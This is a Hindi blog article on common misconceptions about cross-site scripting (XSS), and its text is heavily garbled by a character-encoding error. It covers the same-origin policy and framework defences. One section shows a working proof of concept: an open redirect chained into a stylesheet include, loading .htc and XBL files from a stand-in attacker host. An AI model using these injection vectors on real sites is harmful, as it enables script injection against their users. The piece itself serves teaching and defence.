XSS рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдкрд░ рдПрдХ рд╣рдорд▓рд╛ рд╣реИ рдФрд░ рдЗрд╕рдХрд╛ рдЙрджреНрджреЗрд╢реНрдп рдЙрд╕рдХреЗ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдореЗрдВ рдПрдХ рдордирдорд╛рдирд╛ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдирд╛ рд╣реИ


рдЬрд╛рд╣рд┐рд░ рд╣реИ, рдпрд╣ рдкреВрд░реА рддрд░рд╣ рд╕рдЪ рдирд╣реАрдВ рд╣реИред рдкреАрдбрд╝рд┐рдд рдХреЗ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдореЗрдВ рдПрдХ рдордирдорд╛рдирд╛ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЙрд╕реЗ рдХрд┐рд╕реА рд╣рдорд▓рд╛рд╡рд░ рджреНрд╡рд╛рд░рд╛ рдирд┐рдпрдВрддреНрд░рд┐рдд рд╕рд░реНрд╡рд░ рдкрд░ рд╕реНрдерд┐рдд рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рддреИрдпрд╛рд░ рдкреГрд╖реНрда рдкрд░ рд▓реЗ рдЬрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдкрд░реНрдпрд╛рдкреНрдд рд╣реЛрдЧрд╛ред XSS рдХрд╛ рдЙрджреНрджреЗрд╢реНрдп рдХреЗрд╡рд▓ рдПрдХ рдордирдорд╛рдирд╛ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдирд╛ рдирд╣реАрдВ рд╣реИ, рдмрд▓реНрдХрд┐ рдПрдХрд▓ рд╕реНрд░реЛрдд рдиреАрддрд┐рдпреЛрдВ ( рд╕рдорд╛рди рдЙрддреНрдкрддреНрддрд┐ рдиреАрддрд┐, SOP ) рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рд╕реА рд╡рд┐рд╢реЗрд╖ рд╕рд╛рдЗрдЯ рдХреЗ рд╕реНрд░реЛрдд рдХреЗ рд╕рдВрджрд░реНрдн рдореЗрдВ рдФрд░ рдЗрд╕рдХреЗ рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк, рд╡реЗрдм рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗ рдХреНрд▓рд╛рдЗрдВрдЯ рднрд╛рдЧ рдХреЗ рдбреЗрдЯрд╛ рдФрд░ рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рддрдХ рдкрд╣реБрдВрдЪ рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ рд╣реИред рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╕рддреНрд░ рдФрд░ рдЙрд╕рдХреЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдЕрдзрд┐рдХрд╛рд░реЛрдВ рдХреЗ рд╕рд╛рдеред рдпрд╣ рдПрдХ рд╣рдорд▓рд╛ рд╣реИ, рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ, рдПрдХ рд╡реЗрдм рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдкрд░ рдЬреЛ рдЗрд╕рдореЗрдВ рдПрдХ рдЦрддрд░реЗ рдХреЛ рд▓рд╛рдЧреВ рдХрд░рддрд╛ рд╣реИ, рдФрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдореЗрдВ рдирд╣реАрдВред

PHDays 2012 рд╕рдореНрдореЗрд▓рди рдореЗрдВ, " рд╕реБрд░рдХреНрд╖рд╛ рд╡реЗрдм 2.0ред рдЙрдиреНрдирдд рддрдХрдиреАрдХ " рдЕрдиреБрднрд╛рдЧ рдХреЗ рджреМрд░рд╛рди, рдЗрд╕рдХреЗ рдореЗрдЬрдмрд╛рди рдПрдВрдбрд░реНрд╕ рд░реИрдВрдЪреЛ рдиреЗ рджрд░реНрд╢рдХреЛрдВ рд╕реЗ рдПрдХ рд╕рд░рд▓ рд╕рд╡рд╛рд▓ рдкреВрдЫрд╛: "рдЙрди рд▓реЛрдЧреЛрдВ рдХреЗ рд▓рд┐рдП рдЕрдкрдиреЗ рд╣рд╛рде рдмрдврд╝рд╛рдПрдВ рдЬреЛ рдЬрд╛рдирддреЗ рд╣реИрдВ рдХрд┐ рдПрдХрд▓-рд╕реНрд░реЛрдд рдиреАрддрд┐рдпрд╛рдВ рдХреНрдпрд╛ рд╣реИрдВред" рдЬреИрд╕рд╛ рдХрд┐ рдореИрдВ рд╡рд╣рд╛рдВ рдерд╛, рдореИрдВ рдкреБрд╖реНрдЯрд┐ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рддреИрдпрд╛рд░ рд╣реВрдВ: рдПрдХ рддрд┐рд╣рд╛рдИ рджрд░реНрд╢рдХреЛрдВ, рдЬрд┐рдирдореЗрдВ рдкреВрд░реА рддрд░рд╣ рд╕реЗ рд╡реЗрдм рдбреЗрд╡рд▓рдкрд░реНрд╕ рдФрд░ рд╕реБрд░рдХреНрд╖рд╛ рд╡рд┐рд╢реЗрд╖рдЬреНрдЮ рд╢рд╛рдорд┐рд▓ рд╣реИрдВ, рдиреЗ рд╣рд╛рде рдЦрдбрд╝реЗ рдХрд░ рджрд┐рдПред рд╡реАрдбрд┐рдпреЛ рдореЗрдВ рдпрд╣ рдРрддрд┐рд╣рд╛рд╕рд┐рдХ рдХреНрд╖рдг рд╣реИ, рдпрд╣ рдХреЗрд╡рд▓ рдПрдХ рдЕрдлрд╝рд╕реЛрд╕ рдХреА рдмрд╛рдд рд╣реИ рдХрд┐ рдкреВрд░реЗ рджрд░реНрд╢рдХреЛрдВ рдХреЛ рдЙрд╕ рдХреНрд╖рдг рдлреНрд░реЗрдо рдореЗрдВ рдирд╣реАрдВ рдорд┐рд▓рд╛ред рдИрдорд╛рдирджрд╛рд░реА рд╕реЗ, рдореБрдЭреЗ рд╕рдордЭ рдореЗрдВ рдирд╣реАрдВ рдЖрддрд╛ рд╣реИ рдХрд┐ рдЖрдк рд╡реЗрдм рд╕реБрд░рдХреНрд╖рд╛ рдкрд░ рдбреЗрд╡рд▓рдкрд░ рдпрд╛ рд╡рд┐рд╢реЗрд╖рдЬреНрдЮ рдХреИрд╕реЗ рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЖрдзреБрдирд┐рдХ рдмреНрд░рд╛рдЙрдЬрд╝рд░реЛрдВ рдХреА рд╕реБрд░рдХреНрд╖рд╛ рдХреЗ рд▓рд┐рдП рдмреБрдирд┐рдпрд╛рджреА рддрдВрддреНрд░ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдирд╣реАрдВ рдЬрд╛рдирддреЗ рд╣реИрдВ, рдЗрд╕рд▓рд┐рдП рдореИрдВрдиреЗ рдЦреБрдж рдХреЗ рд▓рд┐рдП рдлреИрд╕рд▓рд╛ рдХрд┐рдпрд╛ рдХрд┐ рд▓реЛрдЧ рдХрд┐рд╕реА рд╡рд┐рджреЗрд╢реА рдХреЗ рд╕рд╛рдордиреЗ рд╣рд╛рде рдЙрдард╛рдиреЗ рд╕реЗ рдХрддрд░рд╛рддреЗ рд╣реИрдВред рд╣рд╛рд▓рд╛рдВрдХрд┐, рдЗрди рдиреАрддрд┐рдпреЛрдВ рдХрд╛ рдПрдХ рд╕рд░рд▓ рдЕрд╡рд▓реЛрдХрди рднреА рдкреИрд░рд╛рдЧреНрд░рд╛рдл рдХреЗ рдПрдХ рдЬреЛрдбрд╝реЗ рдХреА рдмрд╛рдд рдирд╣реАрдВ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдореИрдВ рдорд╛рдЗрдХрд▓ рдЬрд╝рд╛рд▓реНрд╕реНрдХреА рджреНрд╡рд╛рд░рд╛ рдЗрд▓реЗрдХреНрдЯреНрд░реЙрдирд┐рдХ рдкреБрд╕реНрддрдХ " рдмреНрд░рд╛рдЙрдЬрд╝рд░ рд╕рд┐рдХреНрдпреЛрд░рд┐рдЯреА рд╣реИрдВрдбрдмреБрдХ " рдХреЗ рджреВрд╕рд░реЗ рднрд╛рдЧ рдХреЗ рд▓рд┐рдП рд╕рднреА рдЗрдЪреНрдЫреБрдХ рднреЗрдЬ рд╕рдХрддрд╛ рд╣реВрдВред рдпрд╣ рд╡рд┐рд╖рдп рдЙрд╕реА рд▓реЗрдЦрдХ рджреНрд╡рд╛рд░рд╛ рдж рдЯреИрдВрдЧрд▓реНрдб рд╡реЗрдм рдореЗрдВ рдФрд░ рднреА рдЧрд╣рд░рд╛ рдХрд╡рд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рд╡реИрд╕реЗ, рд╡реЗрдм рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдХреЗ рд╕реБрд░рдХреНрд╖рд╛ рдпрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╕рднреА рд▓реЛрдЧреЛрдВ рджреНрд╡рд╛рд░рд╛ рдкрдврд╝рдиреЗ рдХреА рд╕рд┐рдлрд╛рд░рд┐рд╢ рдХреА рдЬрд╛рддреА рд╣реИред

XSS рд▓рдбрд╝рдирд╛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА рд╕рдорд╕реНрдпрд╛ рд╣реИ, рдФрд░ рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ XSS рдЧрдВрднреАрд░ рдирд╣реАрдВ рд╣реИ


рдпрд╣ рдкреВрд░реА рддрд░рд╣ рд╕реЗ рд╕реНрдкрд╖реНрдЯ рдирд╣реАрдВ рд╣реИ рдХрд┐ рдПрдХ рд╡реЗрдм рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдкрд░ рдпрд╣ рд╣рдорд▓рд╛ (рдКрдкрд░ рджреЗрдЦреЗрдВ) рдЕрдЪрд╛рдирдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА рд╕рдорд╕реНрдпрд╛ рдмрди рдЧрдпрд╛, рди рдХрд┐ рдЗрд╕ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗ рдорд╛рд▓рд┐рдХ рдпрд╛ рдбреЗрд╡рд▓рдкрд░реНрд╕ред рдпрд╣рд╛рдВ, рд╕рд╡рд╛рд▓ рдпрд╣ рд╣реИ рдХрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рд╕рдВрд░рдХреНрд╖рд┐рдд рдХрд╛рд░реНрдп рдХреЛ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рдиреЗ рдореЗрдВ рдЙрдирдХреА рд╕реНрдерд┐рддрд┐ рдХреНрдпрд╛ рд╣реИред рдПрдХреНрд╕рдПрд╕рдПрд╕ рдХреЗ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рд╕реЗ рдЬреБрдбрд╝реЗ рдЬреЛрдЦрд┐рдо рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рдЕрдХреНрд╕рд░ рдкреНрд░рдХреГрддрд┐ рдореЗрдВ рдкреНрд░рддрд┐рд╖реНрдард┐рдд рд╣реИрдВред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдЕрдЧрд░ рд╣рдо рдЗрд╕ рдмрд╛рд░реЗ рдореЗрдВ рдмрд╛рдд рдХрд░рддреЗ рд╣реИрдВ рдХрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рд▓рд┐рдП рд╕рдлрд▓ XSS рдХреЗ рдкрд░рд┐рдгрд╛рдо рдХрд┐рддрдиреЗ рдЧрдВрднреАрд░ рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ, рддреЛ рдореИрдВ рдЕрдкрдиреЗ рд╕рд╣рдпреЛрдЧреА рдбреЗрдирд┐рд╕ рдмрд░рд╛рдиреЛрд╡ рдХреА рд░рд┐рдкреЛрд░реНрдЯ "рдПрдХреНрд╕рдПрд╕рдПрд╕ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд░реВрдЯ", рдЬрд╝реАрд░реЛрдирд╛рдЗрдЯреНрд╕ 2011 рд╕рдореНрдореЗрд▓рди рдореЗрдВ рдкреНрд░рд╕реНрддреБрдд рдХрд░рдиреЗ рдФрд░ рдПрдХ рдЪреМрд░рд╛рд╣реЗ рдкрд░ рд╣рдорд▓реЗ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╡реЗрдм рдбреЗрд╡рд▓рдкрд░реНрд╕ рдХреЗ рдХрдВрдкреНрдпреВрдЯрд░ рддрдХ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдорд░реНрдкрд┐рдд рд╣реЛрдиреЗ рдХреА рд╕рд▓рд╛рд╣ рджреЗрддрд╛ рд╣реВрдВред рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдирд┐рд╖реНрдкрд╛рджрди (рджреБрд░реНрднрд╛рдЧреНрдп рд╕реЗ, рдХреЗрд╡рд▓ рд╕реНрд▓рд╛рдЗрдб рдЙрдкрд▓рдмреНрдз рд╣реИрдВ, рд▓реЗрдХрд┐рди рд╕рд╛рдорд╛рдиреНрдп рд╡рд┐рдЪрд╛рд░, рдореБрдЭреЗ рд▓рдЧрддрд╛ рд╣реИ, рд╡реАрдбрд┐рдпреЛ рдХреЗ рдмрд┐рдирд╛ рд╕рдордЭ рдореЗрдВ рдЖ рдЬрд╛рдПрдЧрд╛)ред рд╕рдВрд╕рд╛рдзрди рдХреА рдкреНрд░рддрд┐рд╖реНрдард╛ рдХреЛ рдиреБрдХрд╕рд╛рди рдХрд┐рддрдирд╛ рдордЬрдмреВрдд рд╣реЛрдЧрд╛ рдпрджрд┐, рдЕрдкрдиреЗ рдЧреНрд░рд╛рд╣рдХ рдкрдХреНрд╖ рдкрд░ XSS рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП, рд╣рдорд▓рд╛рд╡рд░ рдЕрдкрдиреЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рдХрдВрдкреНрдпреВрдЯрд░ рддрдХ рдЕрд╕реАрдорд┐рдд рдкрд╣реБрдВрдЪ рдкреНрд░рд╛рдкреНрдд рдХрд░рддреЗ рд╣реИрдВ? рдЗрд╕ рддрдереНрдп рдХреЛ рджреЗрдЦрддреЗ рд╣реБрдП рдХрд┐ рдмрд╣реБрдд рд╕рд╛рд░реЗ рдЙрдкрдХрд░рдг рд╣реИрдВ рдЬреЛ рдорд╛рд╕ XSS рдХреЛ рд╕реНрдХреНрд░рд┐рдкреНрдЯрд┐рдВрдЧ рдореЗрдВ рдмрджрд▓рддреЗ рд╣реИрдВ: рдХрдо рд╕реЗ рдХрдо, рд╕рдорд╛рди рдмреАрдИрдПрдл ред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдпрд╣ рдордд рднреВрд▓реЛ рдХрд┐, XSS рдХреЗ рджреГрд╖реНрдЯрд┐рдХреЛрдг рд╕реЗ, рд╡реЗрдм рдЕрдиреБрдкреНрд░рдпреЛрдЧ рдкреНрд░рд╢рд╛рд╕рдХ рдмрд┐рд▓реНрдХреБрд▓ рд╡рд╣реА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╣реИрдВ, рдЬреЛ рдмрд╛рдХреА рд╕рднреА (рдЬрд┐рдирдХреА рд╕рдорд╕реНрдпрд╛рдПрдВ рдХрдерд┐рдд рд░реВрдк рд╕реЗ рдЗрд╕ рд╡рд░реНрдЧ рдХреЗ рд╣рдорд▓реЛрдВ рдХреЗ рдЦрд┐рд▓рд╛рдл рд▓рдбрд╝рд╛рдИ рд╣реИрдВ, рд╣рд╛рдБ)ред

XSS рдХреЗрд╡рд▓ HTML рдпрд╛ рдХреНрд▓рд╛рдЗрдВрдЯ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдореЗрдВ рдЗрдВрдЬреЗрдХреНрд╢рди рдХреЗ рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк рд╕рдВрднрд╡ рд╣реИ


рдЗрддрдирд╛ рд╣реА рдирд╣реАрдВред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, HTTP рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреЛ рд╡рд┐рднрд╛рдЬрд┐рдд рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдЙрдкрд░реЛрдХреНрдд рд╣рдорд▓реЗ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рддрд░реАрдХреЛрдВ рдореЗрдВ рд╕реЗ рдПрдХ рдПрдЪрдЯреАрдПрдордПрд▓ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ (рдФрд░ рдЗрд╕рд▓рд┐рдП рдХреНрд▓рд╛рдЗрдВрдЯ рд╕реНрдХреНрд░рд┐рдкреНрдЯ, рдпрджрд┐ рдЖрд╡рд╢реНрдпрдХ рд╣реЛ) рдХреЛ рд╕реАрдзреЗ HTTP рд╣реЗрдбрд░ рдореЗрдВ рдПрдореНрдмреЗрдб рдХрд░рдирд╛ рд╣реИ, рдЬреЛ рдЗрдВрдЬреЗрдХреНрд╢рди рдХреЗ рдЕрдзреАрди рд╣реИред рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рди рдХреА рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдЕрдЪреНрдЫреА рддрд░рд╣ рд╕реЗ рдбреЗрдЯрд╛: рдпрд╛ рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ: рдпреЛрдЬрдирд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдХреЛ URL рдкрд░ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, XSS рдХрд╛ рд╕рдВрдЪрд╛рд▓рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рд┐рдд рд╣рдорд▓реЗ рдХрд╛ рдПрдХ рдЕрдзрд┐рдХ рдЧреИрд░-рд╕реНрдкрд╖реНрдЯ рдЙрдкрдпреЛрдЧ рднреА рд╕рдВрднрд╡ рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рд╣рдорд╛рд░реЗ рд╡реЗрдм рдЕрдиреБрдкреНрд░рдпреЛрдЧ рдореЗрдВ, рдкрд╣рд▓реЗ рд╕реЗ рд╣реА рдорд╛рдирд╛ рдЧрдпрд╛ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рди рд╕рдорд╕реНрдпрд╛ рдХреЗ рд╕рд╛рде рдкреНрд░рд╡реЗрд╢ рдмрд┐рдВрджреБ рдХреЗ рдЕрд▓рд╛рд╡рд╛ ( /redirect.php?url= рдкрд░ рдЙрдкрд▓рдмреНрдз), рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХреЛрдб рдХреЗ рд╕рд╛рде рдПрдХ рдмрд┐рдВрджреБ рднреА рд╣реИ:

 <html> <head> <link rel="stylesheet" href="/themes/<?=$theme?>.css" type="text/css" /> </head> 

рдЗрд╕реА рд╕рдордп, GET рдЕрдиреБрд░реЛрдз рдХреЗ рдорд╛рдкрджрдВрдбреЛрдВ рд╕реЗ рдкреНрд░рд╛рдкреНрдд $theme рд╡реИрд░рд┐рдПрдмрд▓ рдХреЛ рд╕рдВрд╕рд╛рдзрд┐рдд рдХрд░рдиреЗ рд╕реЗ рд╕рднреА рдЙрджреНрдзрд░рдг рдЪрд┐рд╣реНрдиреЛрдВ рдХреЛ рд╣рдЯрд╛рдиреЗ рдХреЗ рд╕рд╛рде-рд╕рд╛рде рдмреИрдХрд╕реНрд▓реИрд╢ рдФрд░ рдЯреИрдЧ (рдмрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ) рдХрдо рд╣реЛ рдЬрд╛рддреЗ рд╣реИрдВ, рдЬреЛ рд╣рдорд▓рд╛рд╡рд░ рдХреЗ рд▓рд┐рдП href рд╡рд┐рд╢реЗрд╖рддрд╛ рд╕реЗ рдкрд░реЗ рдЬрд╛рдирд╛ рдЕрд╕рдВрднрд╡ рдмрдирд╛рддрд╛ рд╣реИред рд╣рд╛рд▓рд╛рдВрдХрд┐, XSS рдХреЗ рд▓рд┐рдП рдпрд╣ рдЖрд╡рд╢реНрдпрдХ рдирд╣реАрдВ рд╣реИред рдорд╛рди рдХреЗ $theme рдкреИрд░рд╛рдореАрдЯрд░ $theme рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ ../redirect.php?url=http://evilsite.domain/evilstylesheet рд╣рдорд▓рд╛рд╡рд░ рдкреГрд╖реНрда рдореЗрдВ рдПрдХ рдордирдорд╛рдирд╛ рд╢реИрд▓реА рд╢реАрдЯ рдПрдореНрдмреЗрдб рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реИред IE рдпрд╛ FF рдХреЗ рд▓рд┐рдП рд╕рд╛рдордЧреНрд░реА рдкрддреНрд░рдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛

 body { behavior:url(../redirect.php?url=http://evilsite.domain/evilscript.htc); } 

рдФрд░

 body { -moz-binding: url(../redirect.php?url=http://evilsite.domain/evilscript.xml#evilcode); } 

рдХреНрд░рдорд╢рдГ, рдФрд░ рдЕрдкрдиреЗ рд╕рд░реНрд╡рд░ рдкрд░ evilscript.htc рдлрд╛рдЗрд▓реЗрдВ рд░рдЦрдХрд░:

 <PUBLIC:COMPONENT TAGNAME="xss"> <PUBLIC:ATTACH EVENT="ondocumentready" ONEVENT="main()" LITERALCONTENT="false"/> </PUBLIC:COMPONENT> <SCRIPT> function main() { alert("XSS"); } </SCRIPT> 

рдФрд░ evilscript.xml:

 <?xml version="1.0"?> <bindings xmlns="http://www.mozilla.org/xbl" xmlns:html="http://www.w3.org/1999/xhtml"> <binding id="mycode"> <implementation> <constructor> alert("XSS"); </constructor> </implementation> </binding> </bindings> 

рд╡рд╣ рдЗрди рджреЛ рдмреНрд░рд╛рдЙрдЬрд╝рд░реЛрдВ рдХреЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рд▓рд┐рдП XSS рдореЗрдВ рд╕рдлрд▓ рд╣реЛрддрд╛ рд╣реИред рдмреЗрд╢рдХ, рдПрдХ рд╣реА рд╢реИрд▓реА рдкрд░рд┐рднрд╛рд╖рд╛рдУрдВ рдореЗрдВ рд╕реАрдзреЗ рдЗрдВрдЬреЗрдХреНрд╢рди рд▓рдЧрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдЬрд╛рддрд╛ рд╣реИред

UPD: рдЬреИрд╕рд╛ рдХрд┐ рдЯрд┐рдкреНрдкрдгрд┐рдпреЛрдВ рдореЗрдВ рд╕реБрдЭрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ, -рдореЛрдЬрд╝-рдмрд╛рдЗрдВрдбрд┐рдВрдЧ рдиреЗ рд╣рд╛рд▓ рд╣реА рдореЗрдВ рдПрдХ рд▓рдВрдмреЗ рдЬреАрд╡рди рдХрд╛ рдЖрджреЗрд╢ рджрд┐рдпрд╛ , рдЕрдлрд╕реЛрд╕ред

рд╡рд┐рднрд┐рдиреНрди рдмреНрд░рд╛рдЙрдЬрд╝рд░реЛрдВ рдФрд░ HTML рд╕рдВрд╕реНрдХрд░рдгреЛрдВ рдореЗрдВ рд╣рдорд▓рд╛рд╡рд░ рдХреЗ рд▓рд┐рдП рдЙрдкрд▓рдмреНрдз рдЕрдзрд┐рдХрд╛рдВрд╢ XSS рд╡реИрдХреНрдЯрд░ HTML5 рд╕реБрд░рдХреНрд╖рд╛ рдЪрд┐рдкрд╕реЗрдЯ рдкрд░ рд╕реВрдЪреАрдмрджреНрдз рд╣реИрдВред рд╡рд╣рд╛рдВ рдЖрдк рдЗрд╕ рдЕрдиреБрднрд╛рдЧ рдХреЗ рд╢реАрд░реНрд╖рдХ рдореЗрдВ рджрд┐рдП рдЧрдП рдкреНрд░рд╢реНрди рдХрд╛ рд╡рд┐рд╕реНрддреГрдд рдЙрддреНрддрд░ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред

рдореИрдВрдиреЗ рдЬрд┐рд╕ рдлреНрд░реЗрдорд╡рд░реНрдХ рдХрд╛ рдЗрд╕реНрддреЗрдорд╛рд▓ рдХрд┐рдпрд╛ рд╣реИ, рд╡рд╣ XSS рдХреЗ рдЦрд┐рд▓рд╛рдл рдмрд┐рд▓реНрдЯ-рдЗрди рдСрдЯреЛрдореИрдЯрд┐рдХ рдкреНрд░реЛрдЯреЗрдХреНрд╢рди рд╣реИ, рдЗрд╕рд▓рд┐рдП рдореБрдЭреЗ рдЗрд╕рдХреА рдЪрд┐рдВрддрд╛ рдирд╣реАрдВ рдХрд░рдиреА рдЪрд╛рд╣рд┐рдП


рджрд░рдЕрд╕рд▓, рдХрдИ рдЖрдзреБрдирд┐рдХ рд░реВрдкрд░реЗрдЦрд╛рдУрдВ рдореЗрдВ рдЗрд╕ рддрд░рд╣ рдХреЗ рд╕рдВрд░рдХреНрд╖рдг рдХреЛ рд▓рд╛рдЧреВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдХреЛрдб рдЗрдЧреНрдирд╛рдЗрдЯрд░ рдореЗрдВ XSS рдлрд╝рд┐рд▓реНрдЯрд░рд┐рдВрдЧ рддрдВрддреНрд░, Django рдФрд░ RoR рдореЗрдВ рдорд╛рдирдХ рдЯреЗрдореНрдкрд▓реЗрдЯ рдЗрдВрдЬрди рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛, ASP.NET/MVC рдЖрджрд┐ рдореЗрдВ рд╡реЗрдм рдкреНрд░реЛрдЯреЗрдХреНрд╢рди рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдФрд░ рд░рд┐рдХреНрд╡реЗрд╕реНрдЯ рд╡реИрд▓рд┐рдбреЗрд╢рди рдореИрдХреЗрдирд┐рдЬреНрдо рдЖрджрд┐ред рдЖрджрд┐ рдпрд╣ рдирд┐рд╢реНрдЪрд┐рдд рд░реВрдк рд╕реЗ рдорд╣рд╛рди рд╣реИ рдФрд░ рдЗрд╕ рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рди рдХрд░рдирд╛ рдореВрд░реНрдЦрддрд╛ рд╣реЛрдЧреАред рдпрд╣ рдзреНрдпрд╛рди рдореЗрдВ рдирд╣реАрдВ рд▓реЗрдирд╛ рднреА рдмреЗрд╡рдХреВрдлреА рд╣реИ рдХрд┐:

рдЗрд╕рд▓рд┐рдП, рдЖрдкрдХреЛ рдЕрднреА рднреА рдзреНрдпрд╛рди рд░рдЦрдиреЗ рдХреА рдЬрд╝рд░реВрд░рдд рд╣реИ, рдпрд╣ рд╕рд┐рд░реНрдл рдЗрддрдирд╛ рд╣реИ рдХрд┐ рдХреБрдЫ рд░реВрдкрд░реЗрдЦрд╛рдУрдВ рдореЗрдВ рдпрд╣ рдПрдХ рджрд┐рдирдЪрд░реНрдпрд╛ рдирд╣реАрдВ рд╣реЛрдЧреА рдФрд░ рдЗрд╕рдХреЗ рд▓рд┐рдП рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╕рдордп рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдЧреАред

XSS рдХреЛ рдЦрддреНрдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдпрд╣ рдЙрди рд╕рднреА рд▓рд╛рдЗрдиреЛрдВ рдХреЛ рд╕реНрдХреНрд░реАрди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкрд░реНрдпрд╛рдкреНрдд рд╣реИ рдЬреЛ HTML рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдореЗрдВ рдЖрддреА рд╣реИрдВ


